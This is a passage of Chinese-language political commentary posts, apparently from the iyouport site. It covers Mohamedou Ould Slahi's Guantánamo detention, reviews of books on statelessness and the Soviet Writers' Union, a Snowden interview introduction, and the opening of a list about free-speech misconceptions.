在整个折磨过程中，斯拉希和其他人一样，只希望有机会被告知对他的指控究竟是什么，并得到证实这些指控的证据。但是，美国政府的法令规定，关塔那摩是“外国领土”，因此不受美国宪法约束，这使他们能够在没有任何正当程序的情况下无限期地监禁人。国会在2006年颁布的一项名为“军事委员会法案”的两党法律加强了布什政府的地位，禁止联邦法院审查任何由反恐战争被拘留者提出的请求，对其监禁的有效性进行法律评估。

2008年，美国最高法院在 Boumediene 诉布什案中以5比4的多数裁定，关塔那摩军事基地属于美国主权范围，因此美国宪法规定了美国政府在那里可以和不可以做什么。因此，像斯拉希这样的被拘留者终于有权根据宪法规定的人身保护令保障，以他们被错误监禁为由向联邦法院提出释放请求。

与之前的战俘营不同的是，斯拉希和许多反恐战争中被拘留者一样，是在远离任何战区的家中被逮捕的，是一场从一开始就被广泛认为可能是“永恒的战争”的一部分，而“战场”被指定为整个地球。无论人们对反恐战争的看法如何，在这种情况下的无限期监禁与传统的战俘框架有着根本性的不同。授权政府从世界任何地方拘留、绑架和监禁它想要的任何人，显然会带来一系列全新的潜在滥用。

2010年—— 在他第一次被美国政府逮捕和监禁整整8年之后—— 斯拉希终于能看到法庭了。联邦法官詹姆斯·罗伯逊（James Robertson）对奥巴马司法部对斯拉希提出的指控和证据进行了细致的审查，得出结论认为，证据不足以证明斯拉希克可被继续拘留。该裁决的一个主要部分是美国政府自己承认，它所依据的许多陈述是刑讯逼供的结果：

本记录中有充分的证据表明，从*2003*年*6*月中旬到*2003*年*9*月，斯拉希在关塔那摩受到了广泛和严重的虐待 ….。政府承认，斯拉希受到的虐待可能会降低他的一些陈述的可靠性。

政府指控他与基地组织有关联的巨大讽刺是，对他的指控大部分是基于他在1990年决定去阿富汗与圣战者组织作战。十多年来—— 包括斯拉希去的时候—— 美国政府都是这支战斗部队的主要盟友和赞助者之一，利用它作为代理军队来对抗入侵阿富汗的苏联军队，然后在苏联撤军后，推翻它留下的共产主义政府。凸显这种讽刺的是，在关塔那摩与斯拉希交往的第一批军事警卫中，有一个人就驻扎在阿富汗的圣战者组织训练营，斯拉希在抵达那里后被首次分配到此地。

当时斯拉希在西德，由于他在毛里塔尼亚的青少年时期学习成绩优异，他在那里获得了学习工程学的奖学金。当记者问他是什么促使他在21岁时离开学业去阿富汗作战时，他解释说，当时圣战者组织在整个西方被认为是“很酷”，是年轻的穆斯林男子对抗苏联和帝国主义统治的方式。事实上，在整个**80**年代和**90**年代初，里根、布什和克林顿的官员以及右翼国会议员都经常称赞圣战者是英雄的“自由战士”，并被西方视为重要盟友。

斯拉希十年前的这一联想成为了美国政府指责他是反美恐怖分子必须无限期被监禁的“依据”，这凸显了美国外交政策的荒谬性。外交政策具有可以在一夜之间宣布“自由战士”为恐怖分子，或宣布盟友为可怕的敌人，反之亦然的武断能力（类似于萨达姆“对自己的人民施放毒气”成为2002年为政权更迭和战争辩护的口号，尽管萨达姆对库尔德人的化学攻击发生在他是美国的亲密盟友时期）。

斯拉希在1992年离开阿富汗时终止了与圣战者组织的关系，但他保持的各种联系以及1999年在加拿大的两个月逗留，被美国政府用来声称他仍然在为“圣战者”工作。但法院认为证据严重不足，无法证明这些指控的合理性：

法庭不能因为怀疑、或者因为政府预测一个人将来可能会做出非法行为而允许此人被无限期关押 —— 就像法庭可以依靠其预测一个人将来不会有危险而命令释放此人一样，如果他首先是被合法拘留的。政府负有举证责任的问题是，在斯拉希被捕时，他是否是基地组织的“一员”。根据我面前的记录，我无法认定他是。

尽管**2010**年的司法开释令人振奋，但斯拉希直到六年后的**2016**年才得以离开关塔那摩。部分原因是奥巴马总统 —— 他在**2008**年如此张扬地在竞选中承诺关闭这个黑点监狱 —— 反而让他的司法部对有利于斯拉希的裁决提出上诉，以使他继续被监禁。上诉法院随后做出了有利于奥巴马司法部的裁决，认为该程序存在缺陷。法院下令进行新的人身保护令审查，但审查从未到来。相反，一个五角大楼审查委员会在六年后的**2016**年才得出结论，他可以被安全释放。

即使当他最终离开关塔那摩时，在经历了**14**年没有正当程序的囚禁后，斯拉希也并没有完全自由。美国释放他的条件是毛里塔尼亚的顺从政权同意扣押他的护照，不允许他出国旅行。结果，在他的多国噩梦开始后的近20年里，尽管他从未被指控过任何罪行，更不用说被定罪了，但他的自由仍然受到极大的限制。他的母亲在他被监禁期间去世，他有一个小儿子在德国，而他不能去看儿子。

几年前，Glenn 第一次与斯拉希交谈时，就发现他是一个令人着迷的人，对他的采访见下文。这是 Glenn 去年推出的 SYSTEM UPDATE YouTube计划的一部分，但在建立这个平台时，该计划被暂停了。在视频的开始，Glenn 花了大约15分钟讨论这场采访的反应，以及斯拉希的观点如此重要的原因，所以采访本身大约在15:00开始。

斯拉希设法避免了充满痛苦、愤怒和对他所受伤害的报复欲望的生活。他组建了家庭，重新创造了自己的生活，成为一名父亲、小说家、人道主义与和平的传教士，这种方式是真实的、深刻的、鼓舞人心的：一切都不是平庸和矫揉造作。通过聆听他的话，您可以自己判断。在其他事情中，他与一名美国警卫建立了联系，他在关塔那摩被拘留的早期几乎每天都看到这个美国警卫，然后他们结为朋友，并邀请这个警务到毛里塔尼亚，在那里，两人有了一个非凡的重逢。

Glenn 指出，作为一个普遍的主张，世界上能听到斯拉希的声音的人

越多越好（你可以在这里关注他的Twitter）。但是，特别是现在，催生了第一场反恐战争的人继续明确策划如何发动第二场战争，这次是以国内为重点，这就是为什么人们有必要以最直观的方式了解这种任意的权力如何最终至少与当初其声称瞄准的敌人一样危险和具有破坏性。

看采访：

○

VIDEO: With a Second War on Terror Looming, a New Film Explores the Grave Abuses of the First

原文

终结政府 - iyouport

免费书和纪录片社会反抗和思考

"我不明白为什么人们对新的思想感到害怕。我害怕的是旧的思想"。

【注】作者 Chellis Glendinning 是一位多产的心理学专家，住在玻利维亚。也在报纸、期刊和杂志上发表过数百篇文章和散文。她的新书是《In the Company of Rebels: A Generational Memoir of Bohemians, Deep Heads, and History Makers》。

> 你们尝试过合法的王权、人造的王权、议会的王权、统一的和集中的共和国，而你们所遭受的唯一的噩梦，即专制主义、国家的独裁，你们却都严格遵守并小心翼翼地保存着 —— 法国作家亚瑟·阿尔努（*Arthur Arnould*）《反叛者》（*1896*）

当我进入一家充满家庭用品的商店时，年长的店主接待了我。她看了我一眼，在没有任何视觉证据来引导她对我的政治倾向的思考的情况下，她开始长篇大论地大谈特谈过去14年的政府是如何让玻利维亚的公民失望的，以及同一政党的现任政府是如何成为其前任的镜子的。随着她的怒吼，我感受到了自己对林登·约翰逊政府失去信任的回响，1967年，在洛杉矶世纪广场的反越战游行中，挥舞着警棍的警察变得凶狠暴戾。

这些天来，我注意到一种类似的对政府的冷嘲热讽在世界每个国家都在发酵；无论哪个政党或意识形态，它似乎都像 Covid-19 病毒一样猖獗。但是，它也仍然是前政治的。换句话说，持反对意见的人通常把问题归结为某个特定的政府或领导人，这种立场让他们认为，解决方法只是选举出不同的官员就行了 ……

如果您错过了这本书《为什么选票无法帮你改变糟糕的现状？真正改变应该来自哪里？：权力的杠杆》

现在，这种滚雪球式的怀疑和蔑视进入了…… 柯克帕特里克·塞尔

(Kirkpatrick Sale)。

在83岁高龄时，这位历史学家又写了一本书 —— 这是继《2020的崩溃》之后，他的托马斯·潘恩风格的小册子系列中的第二本；也是他的长篇著作库中的第十六本，将他选择的领域与社会学、政治理论、经济学和人类学等领域融合在一起。

正如任何熟悉他作品的读者所期望的那样，《No More Mushrooms》是对现代民族国家如何以及为何从未成功实现其公民保护、安全和福祉等既定目标的激进分析。或任何其他有价值的目标，对于这个问题。基于他对企业经济、技术进步和民族国家等主题进行系统性挖掘的倾向，他认为政府的实体是基于管理巨大的复杂社会所需的权力聚集，这并不奇怪。

政府根本不起作用；它从未起作用。用塞尔的话来说就是，“……政府的失败几乎是不言自明的。但我要说的不止是这个。我是说，政府这个东西总是失败”。

如果您错过了《没有革命的政府这种东西》

塞尔的论点不仅包括你我在历史课上读到的或在生活中看到的那些无情的失败。他的思想设法回到了他一生工作的基本主题之一：规模问题。正如奥地利哲学家莱奥波德·科尔 (Leopold Kohr)所写的那样，“凡是有问题的地方，都是因为太大了”。柯克帕特里克·塞尔是科尔以及托马斯·杰斐逊和刘易斯·芒福德的现代典范；他多年来一直在探索面对面的、人类规模的社区的智慧，以及追求非国家统治的政府是其中一个分支事项。

首先，塞尔带我们了解了为什么政府在本质上是功能失调的实体的一般观点。它们基于霍布斯式的戒律，即 政府促进了整体的存在，也就是国家的存在，在许多国家，国家容纳了数百万人。在这样的机构中，个人、家庭和社区的利益被推到一边，而政府的凝聚力却被无限制地重视，不用说，其目的是为了维护其权威。因此，政府有权制定必须遵守的法律，使民众服从其秩序概念，征税，维持军队，宣战，运用越来越复杂的等级制度来实现这些目标 —— 基本上控制所有的活动，同时将抵抗或反叛定为非法。

在塞尔看来，政府的动机，即使被“民主”和“自由”这样的神话般美好的东西所掩盖，最终也变成了执行和扩大计划以维持其特权。正如塞尔所说的那样“政府是一种人类组织系统，它削弱了个人自由，使家庭无效，并使社区憔悴，总是以牺牲其他组织为代价来扩大其权

力。无论什么样的人在管理它，无论尝试什么样的制衡组合，无论它试图实现什么样的利益，它都无法摆脱其固有的本质。”

学者们已经确定，一万年来大约有400个王朝被尝试过。塞尔引用了一份令人印象深刻的，尽管并不完整的王国、王朝、政权和行政当局的名单，这些王国、王朝、政权和行政当局 —— 就像阿诺德·汤因比所言 —— 活了100或200年（或更少）。亚述、埃及、蒙古、奥地利、清、汉等等。他做出了精明的，甚至是有点滑稽的结论：“从历史的广义角度来看，它们似乎是临时性的安排，是没有实质意义的权力分配，不断变化，不断增长，不断缩小和放大，除了一些被风吹倒的寺庙和腐烂的宫殿外，没有什么非常重要的后果。”

如果挑战公司权威合法性的活动家理查德·格罗斯曼还活着，他肯定会热情地补充一个有力的细节：写进美国宪法的文字保护了阶级结构的权利，并确保了不平等现象的继续维持。事实上，塞尔继续为读者提供了一连串的例子，说明政府如何在其之后创造了一个又一个的灾难；他的例子是美国。他深入研究了大量的例子，说明政府如何在提供可行的、有效的政策方面失败—— 无论它来自哪个意识形态派别，甚至在应用最好的意图时。

这一部分读起来就像一季周六上午放映的三傻电影。其中包括由善意的政策产生的失败，如1963年的《社区健康法》，该法最终反而使街头充满了无家可归的人；以及1977年成立的能源部，该部是为在电厂关闭时解决核危险而发起的，但却发现其主张的洗碗机比旧模式需要更多的水。的确，拉里、柯里和莫伊因为这样的“成就”而被送到华盛顿。但是，当塞尔谈到废除奴隶制和重建的努力时，将具体政策与系统性失败联系起来的清晰思路变得模糊不清。他的论点开始类似于对英国、丹麦和法国政府实施的政策的偏爱，这些政策对前奴隶主和奴隶都给予了援助，以及对林肯自己在1862年提出的平行但未使用的提案的偏爱。

但政府失败的案例还没有结束。塞尔接着引用了大量的人类学样本，这些世界文化在没有中央集权的情况下繁荣了几个世纪，甚至几千年，“没有政治形态，没有永久性机构，没有结构化的规则”。

在这里，他清晰地亮出了自己的观点。在被试图同化其人口或谋杀他们的帝国主义所淹没之前，许多人类社区并没有复杂的、自上而下的系统来组织自己。相反，他们使用的不是军事化的治安管理，而是基于道德的传统来指导行为。在内部分歧的情况下，智慧是由神圣的人物提供的，如“spearmaster”，他们的观点尊重各方，但不强制执行；而与邻近群体的小规模冲突是通过仪式上的“战斗”进行的，类

似由最弱的成员无效地投掷箭矢的做法；等等。你知道：我们作为人类的遗产，那是在向帝国的所谓宏伟目标迈进之前的一百多万年中创造和生活的遗产；塞尔提议，这种遗产甚至可能存在于遗传记忆中，并为我们对不公正、不平等和军国主义的无情抗议提供动力。

如果您错过了《从民主到自由》

其中最具有启发性的也许是丁卡人的情况。他们生活在现在的南苏丹尼罗河盆地沼泽地周围的热带草原国家。他们的人口 —— 在高峰期可能有400万—— 被分成小的自治社区，表明虽然平等主义的、可持续的方式可能起源于小规模的群体，但它们可能并不依赖于这些群体 —— 只要这些群体通过流畅的方式分成小规模的队伍以保存下来。塞尔写道，“换句话说，对于无国籍的部落来说”，“在人口和经济方面，人的规模绝对是最基本的”。

对丁卡人来说，生存源于畜牧业和园艺业的结合。生存是本地的，自力更生的，并且完全摆脱了随着财产的不断积累和参与不断扩大的市场经济所带来的压力。

他们受到习俗的约束，因为这些习俗被认为是对个人、家庭、村庄和部落最和谐的。对上述习俗进行立法和监督的需求根本不存在：它们具有日常意义。正如塞尔所解释的那样，“可能出现的这种争端可以通过当地的机构来处理，这些机构只在特定的场合临时运作，然后就会解散，战争是如此的罕见，以至于保留一支常备军会造成极大的浪费。因此，在丁卡人眼里，国家是多余的：有一个像他们那样整洁的系统，立法者、国王、警长和士兵还有什么实际用途？

所有这些都在1980年代对苏丹宣战时被摧毁了。随后发生了两次内战。至少有30万人被杀，许多人在残酷的屠杀中被杀死；数百万人被迫迁移，饥荒在该地区肆虐，据说造成了一百万人死亡。丁卡部落剩下的人被赶进了资本主义的、城市化的、国家管理的社会。值得庆幸的是，塞尔随后向读者展示了当代仍在运作的土著文化的例子，以及最近为应用人类规模和权力下放的价值观而做出的努力。

总而言之，《No More Mushrooms》成为柯克帕特里克·塞尔感知可能性的又一途径。正如250年前托马斯·潘恩的著作一样，这本100页的小册子是连贯的、充满激情的、有说服力的 —— 并且有可能将读者引入完全未曾想过的激进思想和行动方向的视野。正如约翰·凯奇(John Cage)曾经写道：“我不明白为什么人们对新的思想感到害怕。我害怕的是旧的思想”。〇

Government Be Gone!

原文

苏联作家联盟类似于中国作协：一个警示故事，一段非凡的历史 - iyouport

免费书和纪录片社会反抗和思考

你必须掌握自己的良知，决心永远不把它委托给任何人，无论是一个领导人、一个荣誉团体，还是一个珍惜的事业。良知比政治更重要，甚至比爱更重要，它是我们身份中最深刻的部分。

这不仅是一部警示故事，也是一段非凡的历史。

“我所在的地区，有154名注册的作家联盟成员”，一位苏联作家联盟官员吹嘘说，“而在落后的19世纪，只有一位作家！”可以肯定的是，这位官员想说，那一位作家就是列夫·托尔斯泰。正如这段众所周知的轶事所表明的那样，要成为一名苏联作家，并不需要一个人创作出可读的文学作品，但确实必须此人属于这个联盟。当未来的诺贝尔文学奖得主约瑟夫·布罗茨基被指控犯有“社会寄生虫”罪 —— 没有工作时，法官拒绝接受他作为“诗人”的自称，只因为他不属于这个联盟。

苏联作家联盟到底是什么？像苏联的所有工会一样，它的存在并不是为了代表其成员向当局施压，而是恰恰相反，为了传达党的命令。如果作家们服从，他们就会获得普通公民无法企及的物质奖励；但如果他们不服从，他们就会受到羞辱，甚至更糟。

- 将资本主义与国家合并，通过有利可图的赞助网络，保证政治上顺从的人能分得一杯羹，这就是整个世界的新专制主义的特性之一。如果您错过了《为什么反而是独裁者赢了？》

该联盟于1932年宣布成立，开始时有2200名成员。到1953年斯大林去世时，其中已有2000人被捕，其中四分之三被处决或在劳改营中丧生。死者包括伊扎克·巴别尔 (Isaac Babel)、鲍里斯·安德烈耶维奇·皮利尼亚克 (Boris Pilnyak)、奥西普·曼德尔施塔姆 (Osip Mandelstam)、和其他许多重要人才。斯大林在世时，工会没有出版

名录，因为正如卡罗尔·安尼在本研究中指出的那样，“名录会提醒人们想起那些被抹去的人。”

- 如果您错过了《大国如何瓦解》

安尼解释说，国家支持的文学的目的是一个文学支持的国家。没有哪个国家比俄罗斯更重视文学了，因此，党征召这些被斯大林称为“人类灵魂的工程师”的人写小说或戏剧，传达党的路线，几乎是不可避免的。正如已故俄罗斯文学专家维克多·埃利希（Victor Erlich）曾经说过的那样，作家们被期望写出“男孩遇到拖拉机”的小说。

正如斯大林要求以极快的“速度”（一个最喜欢用的词）进行工业化一样，作家们也被要求创作越来越多的小说和戏剧。大剧院院长米哈伊尔·阿尔卡季耶夫 (Mikhail Arkadiev) 在给斯大林的信中向领袖保证：“这些戏剧创作的工作正在全速进行，并已接近完成。我们将在一年内有四部戏剧，而不是通常的每两年一部戏剧”。与工业产品一样，质量充其量只是次要的。

作家，像其他专业人士一样，是“干部”，这个词没有准确的英语对应词。“干部”不仅仅是一个职能部门，而“干部”（复数）也不仅仅是人力资源：这个词有许多含义，如对共产主义的奉献，荣誉团体的成员，被赋予重要工作的自豪感，以及终身的使命。斯大林曾经宣称：“干部决定一切”，这个口号意味着个人什么都不能决定。

作家和所有干部一样，都被“党性”的精神所渗透，这意味着，在理想情况下，他们的意志完全与党的意志相一致。没有私人或个人的空间，像爱情诗那样轻浮的文学形式或像悲剧这样悲观的文学形式，都不被看好。艺术性充其量是次于意识形态的正确性。培养个人才华会被指责为“莫扎特主义”（更多的贬义词的“***-主义”不断被发明出来）。文学评论家们对稍有偏离的作品进行严厉的攻击，对创造性的人才颐指气使。

正如在共产党本身，需要绝对的团结。然而，总有一些作家认为，文学首先应该是文学，而不是宣传，他们要求有一定程度的自我表达的自由。在作家联盟成立之初，杰出的诗人安娜·阿赫玛托娃（Anna Akhmatova）并没有申请加入，她认为创作自由仍然是最重要的。诺奖得主作家鲍里斯·帕斯捷尔纳克 (Boris Pasternak) 曾经恳求一群狂热的文学批评家，“不要嚎叫了，如果你们要嚎叫，也不要齐声嚎叫”。出于某种原因，斯大林在保护帕斯捷尔纳克的同时，也杀害了许多其他作家。

“社会主义现实主义”，该政权的官方美学，包含了“两个真理”的学说。当瓦西里·谢苗诺维奇·格罗斯曼 (Vasily Grossman) 写信给马克西姆·高尔基 (Maxim Gorky) —— 苏联文学的守护神—— 请求帮助出版一部小说时，他认为这部小说“真实地”描绘了苏联的生活。高尔基回答说，在单纯的经验真理之外，还有一个更高的真理，即 根据马克思列宁主义，事物的基本性质。资产阶级作家只看到他们眼前的东西；苏联作家必须发现光荣的共产主义未来的种子。

为了代表“更高的真理”，人们需要一个没有任何瑕疵的“正面英雄”。真正的共产党人已经克服了复杂的心理，这是资本主义过去的产物。他知道，他必须依靠的不是自己的判断，无论多么纯粹，而是党的指导。表现一个自主行动的英雄就构成了严重的违规行为。

索尔仁尼琴将社会主义现实主义称为“对放弃真理的庄严承诺”，而有天赋的作家们则想方设法绕过它。由于对艺术质量的承诺，以及对托尔斯泰和陀思妥耶夫斯基所理解的文学作用的献身精神，试图履行党的指示的作家们遭受了内部分裂。他们如何协商这种分裂是安尼这本书的重点。她利用新近开放的档案，其中不仅有以前被掩盖的作家联盟的会议记录，还有非常坦率的信件和日记，她利用自己作为文学评论家的天赋，浸淫在俄罗斯的经典作品中，探究作家们在行为和使命方面的心理冲突。在许多情况下，成功，甚至生存，都取决于谴责其他作家，这往往导致后者被处决。“我是在‘尸体上行走’吗？”作家奥莉加·伯格霍尔兹问自己，“不，我说的是党的命令。我的良心基本上是清白的”。她的抗议太多了。

作家们面临着安尼所说的“马雅可夫斯基的选择”。弗拉基米尔·马雅可夫斯基（Vladimir Mayakovsky）是一个热情洋溢、波希米亚主义的、实验性强、自我戏剧化的共产主义者，他发现革命实际上带来了一个压迫性的官僚机构，后者将他直率的个人主义视为不可接受的资产阶级。迫于形势，他最终自杀了，留下了一张富有讽刺意味的纸条，其中包含了他最伟大的诗作之一。他的例子在随后的几十年里一直困扰着作家们。

- 如果您错过了《没有”革命的政府”这种东西》

该书追溯了一些作家和评论家的生活和职业生涯，其中最重要的亚历山大·法捷耶夫 (Alexander Fadeyev) 也自杀了。他是一位才华横溢的小说家，被迫不断妥协，他被任命为作家联盟的负责人，以充当“强制性和破坏性文学政策的可敬面孔”。这个职位没有给他制定文学政策的权力，因为文学政策是由上面传达下来的；相反，这只允许他分配到非常理想的津贴，同时让他认可他本不赞成的政策，并签署逮捕

令和处决其他作家，包括他自己的朋友。

安尼还追踪了法捷耶夫与他的良知的斗争。在斯大林下令攻击安德烈·普拉东诺夫 (Andrei Platonov)之后，法捷耶夫写下了他自己都不相信的东西，因此，正如安尼所解释的，“他必须找到一种方法来相信它”。安尼的研究比其他的描述要高，因为它对自我辩解的戏剧进行了微妙的追踪：不是真正的借口，留下撒谎的感觉的自我欺骗，以及对半信半疑的意识形态的呼吁，认为它超越了普通的对与错；法捷耶夫不断告诉自己，怀疑本身是反革命的，阶级道德已经取代了老式的资产阶级标准，歌德说选择很少是非黑即白的，这是不对的。他想起但丁对那些不站队的人的描述，甚至不配下地狱。

法捷耶夫每走一步，道德就会变差，这种堕落因 “植根于社会理想主义和个人勇敢” 而更加引人注目。被他所谓的 “极其尖锐的精神矛盾” 所困扰，他发现自己无法写作。

斯大林去世后，他的继任者宣布大赦一百万名政治犯，因此，那些身体残缺不全、心理受到严重惊吓的幸存作家们重新出现了。像之前的其他俄罗斯作家一样，法捷耶夫开始狂饮，需要住院治疗。当尼基塔·赫鲁晓夫发表谴责斯大林罪行的 “秘密讲话”（其实一点也不秘密）时，“法捷耶夫用来支撑他的荣誉集团摇摇欲坠的形象的最后一根稻草倒下了”。

安尼的故事扣人心弦，最后分析了法捷耶夫的遗书，其中指责党摧毁了 “神圣的” 苏联文学，并指责他的官僚主义工作太过繁重，无法写出他心目中的杰作。他没有责备的人是自己，但在给以清廉著称的作家科尔涅伊·楚科夫斯基 (Korney Chukovsky) 的信中，法捷耶夫承认：“我是个无赖”。

安尼出色地解开了苏联耻辱文化的逻辑，这也是其他统治阶级操控的政治运动的逻辑。在羞耻文化中，一个人的自我价值感完全来自于群体。没有其他个人身份可以依靠。失去一个人的党员证就等于失去了自我。

该党完善了公开羞辱，在这个过程中，目标人物要在一种叫做 “自我批评” 的仪式中卑微地道歉。理论上，人们谴责自己是为了从错误中学习，但事实上，这里的重点是 “侵蚀自我。党尽其所能，不仅控制你写什么，而且控制你是谁”。这种羞辱在任何时候都可能发生在任何人身上，因此，完全的任意性放大了党的权力。

由于党的路线经常改变，一个人可能会发现自己被指控犯了错误，而

在当时，这些错误根本就不是错误。党不断发明新的错误，无论是思想、做法还是措辞，因此人们永远无法摆脱受辱的风险。这种耻辱文化的一个标志就是，不断创造新的违法行为，通常是追溯性地适用。无论干部设法克服多少次，也总是必须再次克服它们。

在他名气最大的时候，当他长期指导作家联盟并获得斯大林的奖项时，法捷耶夫被传唤参加与斯大林的会议，他发现斯大林正在阅读契诃夫。“你，法捷耶夫同志，你是谁？”，斯大林问道。当法捷耶夫回答说他是一名作家时，斯大林回答说：“你是狗屎，法德耶夫同志，你不是一个作家。现在，契诃夫，他是一个作家”。看来，法捷耶夫获得斯大林奖的小说《青年近卫军》的情节没有给党分配足够大的作用。为了表明他理解自己的错误，法捷耶夫花了三年时间重写了这本书。

法捷耶夫是否意识到，“重点不在于纠正错误，而在于受到羞辱”？安尼问道，“他所做的一切都无法抵御未来的羞辱。总是会有另一个借口出现”。

《苏联作家联盟及其领导人》既是一部道德呼吁书，也是一部历史，最后提醒人们，最重要的是“掌握自己的良知，决心永远不把它委托给任何人，无论是一个领导人、一个荣誉团体，还是一个珍惜的事业。良心比政治更重要，甚至比爱更重要，它是我们身份中最深刻的部分”。珍贵的事业和道德主义意识形态的力量越大，要求羞辱性的忏悔越常规化，苏联文学史的教训就越贴切。〇

📌 您可以在这里下载这本书：*https://www.patreon.com/posts/bu-shi-shen-cha-59197551*

原文

视频：对爱德华·斯诺登的访谈，内容涉及硅谷审查、拜登和新闻自由的危险 - iyouport

关于高堡奇人社会反抗和思考

这是关于拜登时代大规模监视状况的分析和预测，也是对透明度革命前景的分析

【按】去年欧洲 Schrems II 判决的结果让美国大为惊讶，在斯诺登揭露国安局间谍全世界的惊人行为后7年，欧洲做出了一个标志性反应。

这场判决引发了美国国内的舆论轰动。去年投票前夕，左右翼联合对政权施加压力，要求至少确立隐私法以保护公民人权，您可以在这里看到当时的论述之一《从斯诺登到中国》。

是的，这不是仅仅关于美国的；正如上面文章所解释的含义，如果大规模监视的状况不能彻底终结，美国将继续失去盟国的支持，这会让中国得利，虽然中国在做着同一件事。

只有民主国家能联合起来，才有希望打败专制国家。虽然这依旧是大国竞争的思考方式，但鉴于竞争心态是最具行动力的心态，活动家完全可以利用这点以推动真正的改变。不仅是美国活动家，还有全球活动家，包括中国。

目前的状况足见，拜登政府不会释放吹哨人，特朗普离任前也没有赦免吹哨人，尤其是，正如这份访谈中指出的，拜登时代将出现审查和监视的加强；对于行动者来说，这些分析是为“地形”，是您的战术策划指标。

对于中国读者来说，您还可以将这份访谈作为地缘政治角度的地形分析加以参考，而不仅仅是反监视反审查的基本战略。

2013年由爱德华·斯诺登的吹哨促成的国家安全局报告，当时被广泛认为是关于侵犯隐私权的。当然如此，但是，这些揭露也涉及到许多其他重要的自由人权，包括言论自由、新闻自由、对国家行为者 ——

特别是始终潜伏的维稳镇压部队的透明度的需求，以及允许政府在黑暗中做出最严重伤害公民基本人权的决定的危险，完全没有民主的知情或问责。

斯诺登的书《永久记录》*完整*中文版在这里下载：https://www.patreon.com/posts/si-nuo-deng-de-38189363

但将所有这些具体关注点结合起来的首要原因是对互联网自由的信念和捍卫。

在 Glenn 最早在香港对斯诺登进行的一次采访中，斯诺登解释说，他的动力在很大程度上来自于早期版本的互联网在他的生活中所发挥的核心和重要作用：一个不受公司和国家控制的互联网，一个允许匿名和不受监控地探索的互联网，最重要的是，它促进了世界公民之间不受限制的交流和信息传播，而没有公司和国家的统治者来监管和控制公民所说的每个字。

正是这种对互联网自由的憧憬，使许多人在互联网诞生之初就预示它是现代历史上最伟大、最有力的创新之一，它能促进个人自由、人类解放、普通公民的赋权，以及人们组织和交流的能力，而不必依赖企业巨头及其资助和控制的政府。

而如今，在许多方面这一愿景已化为淡淡的记忆 —— 淹没在斯诺登所揭露的但仍在继续运作的大规模监控中，淹没在最具影响力的网络场所的公司化中，淹没在看不见的寡头统治者对言论和信息流动的控制中，这些寡头的法令不需要任何可识别的理由，也不接受任何上诉。这些看不见的言论思想监管者的权力是终极的、任意的和绝对的。

它不一定必须这样。一个自由的互联网仍然值得争取，仍然可以挽救。但它面临着越来越大的威胁：来自企业媒体，它们急于扼杀任何威胁到它们语话垄断的东西，向硅谷施加压力，要求它们对各种不同政见者和独立的声音进行审查，甚至比现在更加严格的审查；来自政党和政客，它们在科技巨头那里拥有巨大的影响力，并且知道它们可以利用这种影响力来压制批评者和对手；互联网的权力越来越集中在少数寡头垄断者手中，它们的权力和财富使权力中心无法抗拒，试图利用它们来扼杀异议。

Glenn Greenwald 在 SYSTEM UPDATE 的特别节目中与斯诺登进行了约40分钟的交谈，讲述了硅谷审查制度日益增长的危险，为什么一个本不应该有权力或责任来控制所有人的言论的科技行业却被政客和

记者强加了这一“义务”，新闻自由所面临的潜伏危险，以及拜登/哈里斯政府如何可能使这一切变得更糟。

这是一个重要的访谈，希望能可以看完这个视频：

VIDEO: Interview with Edward Snowden on Silicon Valley Censorship, Biden, and Lurking Press Freedom Dangers

原文

言论自由究竟应该是什么？：12个最常见的错误断言 - iyouport

社会反抗和思考

这些错误在中国也非常常见，尤其是在互联网上。所以本文作为一个汇总列表，将对中国读者在此问题上的辩论以及对民主的理解有所帮助。

老读者都知道，我们的 列表-3中和原网站中都有反审查专栏，我们相信在中国，支持审查的人应该是极少的；但是，反对审查的人并不一定真的理解什么是言论自由。因为在我们的经验中，我们曾经看到过非常多的中国舆论引述了对 “言论自由” 这一概念的错误解释 —— 其中包括公信力非常高的著名异见人士，也就是说，这些错误理解很可能具有足够可观的影响力。

言论自由不仅仅是基本人权，也是能让民主顺利运行的关键部分。即，如果您不能理解言论自由，您就无法理解民主；如果您不能真正理解民主，您就无法推动成功的民主变革。

本文来自格雷戈里·克里斯托弗·卢基安诺夫（Gregory Christopher Lukianoff）他是教育个人权利基金会的主席。其中提到的书籍都建议您阅读，📌 您可以在这里下载：*https://www.patreon.com/posts/yan-lun-zi-you-58858398*

在最近的一集播客中，作家 Iona Italia 对她不得不一次又一次地反对关于言论自由的糟糕论调而表示沮丧。因此，本文的内容与其说是一篇文章，不如说是一个列表：对一些最常见的反对言论自由的论点的回应，以及在可能的情况下，对补充阅读的建议。

1、主张：言论自由是在 “语言和暴力截然不同” 的错误观念下产生的，但我们现在知道，某些言论更类似于暴力。

答案：言论等于暴力并不是一个新的想法。这是一个非常古老而且非常糟糕的想法。

在校园里，我经常遇到一些人 —— 不仅是学生，还有教授—— 他们似乎认为自己是第一个注意到言论/暴力的区别是一种社会建构的。他们的结论是，这意味着这是一个任意的区分 —— 而且，既然是任意的，那么这个界限就可以放在他们喜欢的任何地方。(即，他们根据自己的个人观点来划线：如果是他们碰巧讨厌的言论，那么它就被认为是暴力）

具有讽刺意味的是，言论自由的全部意义，从一开始就是为了使人们能够在*不诉诸暴力*的情况下解决问题。用言语而不是用拳头。

一句经常被归于西格蒙德·弗洛伊德的引文（其实不是弗洛伊德说的）传达了这一点；“第一个投掷侮辱而不是石头的人类是文明的创始人”。

是的，强烈区分意见表达和暴力是一种社会建构，但它是有史以来人类发明的和平共处、创新和进步的最佳社会建构之一。将意见表达重新定义为暴力只是无休止的暴力、压制和倒退的连锁反应的公式。

在此阅读更多内容：《为什么告诉学生 “语言就是暴力” 是糟糕的》，作者 Jonathan Haidt 和 Greg Lukianoff。

2、主张：“言论自由是建立在文字无害的错误观念上的”。

答案：不，不是这样的。如果自由言论不强大，就没有必要保护它或禁止它。言论自由可能会引发混乱，这并不奇怪，因为言论自由正是作为实际暴力的替代物。

从历史上看，言论自由被认为是在不诉诸实际暴力的情况下解决争端的制度的一部分。接受言论自由是一种在观点之间的真正冲突中生活的方式（这种冲突一直存在），而不需要诉诸于强制性的武力。

在我的职业生涯中，我曾多次以不同的方式提出这个观点，以至于有人把我曾经在电视节目中提出的方式做成了一个图形。

当这种保护涵盖人们最真诚的宗教信仰和他们对生死问题的看法时，民主国家的言论自由欲求可能会非常激烈，这并不奇怪。

《Unlearning Liberty》中提出过这个问题：

我们应该反对成年人之间的伤害性言论的想法来自于没有理解自由言论是我们选择的解决分歧的方法这一基本要义 —— 使用语言而不是武器来解决问题。公开辩论是人类的开明手段，它决定了我们如何安

